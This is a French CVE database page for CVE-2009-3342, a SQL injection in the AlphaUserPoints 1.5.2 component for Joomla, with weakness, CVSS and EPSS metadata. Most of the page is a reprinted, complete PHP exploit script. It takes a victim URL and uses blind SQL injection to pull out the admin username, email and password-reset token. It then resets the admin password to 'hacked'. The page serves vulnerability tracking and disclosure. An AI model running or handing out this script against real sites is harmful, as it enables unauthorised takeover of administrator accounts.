CVE-2009-3342 : Détail

CVE-2009-3342

SQL Injection
A03-Injection
0.08%V3
Network
2009-09-24
14h00 +00:00
2017-09-28
10h57 +00:00
Notifications pour un CVE
Restez informé de toutes modifications pour un CVE spécifique.
Gestion des notifications

Descriptions du CVE

SQL injection vulnerability in frontend/assets/ajax/checkusername.php in the AlphaUserPoints (com_alphauserpoints) component 1.5.2 for Joomla! allows remote attackers to execute arbitrary SQL commands via the username2points parameter.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE-89 Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
The product constructs all or part of an SQL command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended SQL command when it is sent to a downstream component. Without sufficient removal or quoting of SQL syntax in user-controllable inputs, the generated SQL query can cause those inputs to be interpreted as SQL instead of ordinary user data.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V2 7.5 AV:N/AC:L/Au:N/C:P/I:P/A:P nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Informations sur l'Exploit

Exploit Database EDB-ID : 9654

Date de publication : 2009-09-13 22h00 +00:00
Auteur : jdc
EDB Vérifié : Yes

<?php echo '<h2>Joomla Component AlphaUserPoints SQL Injection Exploit</h2>'; echo '<h4>jdc 2009</h4>'; echo '<fieldset><legend>Buffer</legend><div id="update" style="padding:8px;"></div></fieldset>'; echo '<script type="text/javascript">var update = document.getElementById("update");</script>'; ini_set( "memory_limit", "128M" ); ini_set( "max_execution_time", 0 ); set_time_limit( 0 ); if( !isset( $_GET['url'] ) ) die( 'Usage: '.$_SERVER['SCRIPT_NAME'].'?url=www.victim.com' ); $vulnerableFile = "http://".$_GET['url']."/components/com_alphauserpoints/assets/ajax/checkusername.php"; $url = $vulnerableFile; $data = array(); $admin = ''; $data['username2points'] = "1' AND 1=2 UNION SELECT id FROM #__users WHERE gid=25 ORDER BY id ASC LIMIT 1 -- '"; $output = getData(); echo 'Cheching for exploit...'; if( !testData( $output ) ) die( 'Failed. Target may have magic quotes on.' ); echo 'done!<br />'; if( isset( $_GET['check'] ) ) die( $output ); echo 'Getting admin username & email (this may take some time)...'; for( $i=1;$i<250;$i++ ) { $len = strlen( $admin ); $continue = FALSE; for( $j=32; $j<126; $j++ ) { if( $continue ) continue; $data = array( 'username2points' => "1' AND 1=2 UNION SELECT id FROM #__users WHERE gid=25 AND ASCII(SUBSTRING(CONCAT(username,0x3a,email),$i,1)) = $j ORDER BY id ASC LIMIT 1 -- '" ); $output = getData(); if( testData( $output ) ) { $admin .= chr( $j ); echo '<script type="text/javascript">update.innerHTML += "'.chr( $j ).'";</script>'; $continue = TRUE; } ob_end_flush(); ob_flush(); flush(); } if( $len == strlen( $admin ) ) break; } if( strlen( $admin ) == 0 ) die( 'failed!' ); echo '<script type="text/javascript">update.innerHTML = "";</script>'; echo "done!<br />"; echo "<h4>$admin</h4>"; $admin = explode( ':', $admin ); echo "<br />Generating token..."; $url = "http://".$_GET['url']."/index.php?option=com_user&view=reset&tmpl=component"; $data = array(); $token = preg_replace( array( '/\n/', '/(?:.*)name="([a-f0-9]{32})"(?:.*)/m' ), array( '', '$1' ), getData() ); if( strlen( $token ) != 32 ) die( 'failed!' ); echo 'done!<br />'; echo 'Resetting password...'; $url = "http://".$_GET['url']."/index.php?option=com_user&amp;task=requestreset"; $data = array( 'email' => $admin[1], $token => 1 ); getData(); echo 'done!<br />'; echo 'Getting Reset Token...'; $url = $vulnerableFile; $data = array(); $activation = ''; for( $i=1;$i<100;$i++ ) { $len = strlen( $activation ); $continue = FALSE; for( $j=48; $j<126; $j++ ) { if( $continue ) continue; $data = array( 'username2points' => "1' AND 1=2 UNION SELECT id FROM #__users WHERE gid=25 AND ASCII(SUBSTRING(CONCAT(activation),$i,1)) = $j ORDER BY id ASC LIMIT 1 -- '" ); $output = getData(); if( testData( $output ) ) { $activation .= chr( $j ); echo '<script type="text/javascript">update.innerHTML += "'.chr( $j ).'";</script>'; $continue = TRUE; } ob_end_flush(); ob_flush(); flush(); } if( $len == strlen( $activation ) ) break; } if( strlen( $activation ) == 0 ) die( 'failed!' ); echo 'done!<br />'; echo 'Sending Reset Token...'; $url = "http://".$_GET['url']."/index.php?option=com_user&view=reset&layout=complete"; $data = array( 'token' => $activation, $token => 1 ); getData(); echo 'done!<br />'; echo 'Resetting Password to "hacked"...'; $url = "http://".$_GET['url']."/index.php?option=com_user&view=reset&layout=complete"; $data = array( 'password1' => 'hacked', 'password2' => 'hacked', $token => 1 ); getData(); echo 'done!<br />'; echo '<hr />'; echo 'You may now log in as admin using the following credentials:<br />'; echo '<strong>'.$admin[0].'</strong> / <strong>hacked</strong><br />'; echo '<a href="http://'.$_GET['url'].'/administrator/">Start hacking!</a>'; function shutUp( $buffer ) { return false; } function testData( $output ) { return preg_match( '/OK/', $output ); } function getData() { global $data, $url; ob_start( "shutUp" ); $ch = curl_init(); curl_setopt( $ch, CURL_TIMEOUT, 120 ); curl_setopt( $ch, CURL_RETURNTRANSFER, 0 ); curl_setopt( $ch, CURLOPT_URL, $url ); curl_setopt( $ch, CURLOPT_COOKIEFILE, 'aup.cookie.txt' ); curl_setopt( $ch, CURLOPT_COOKIEJAR, 'aup.cookie.txt' ); if( count( $data ) > 0 ) { curl_setopt( $ch, CURLOPT_POST, count( $data ) ); curl_setopt( $ch, CURLOPT_POSTFIELDS, http_build_query( $data ) ); } curl_setopt( $ch, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)" ); curl_setopt( $ch, CURLOPT_FOLLOWLOCATION, 1 ); $result = curl_exec( $ch ); curl_close( $ch ); $return = ob_get_contents(); ob_end_clean(); return $return; } /* jdc 2009 */ # milw0rm.com [2009-09-14]

Products Mentioned

Configuraton 0

Joomla>>Joomla\! >> Version *

Alphaplug>>Com_alphauserpoints >> Version 1.5.2

    Références

    https://www.exploit-db.com/exploits/9654
    Tags : exploit, x_refsource_EXPLOIT-DB
    http://www.vupen.com/english/advisories/2009/2659
    Tags : vdb-entry, x_refsource_VUPEN
    http://www.securityfocus.com/bid/36383
    Tags : vdb-entry, x_refsource_BID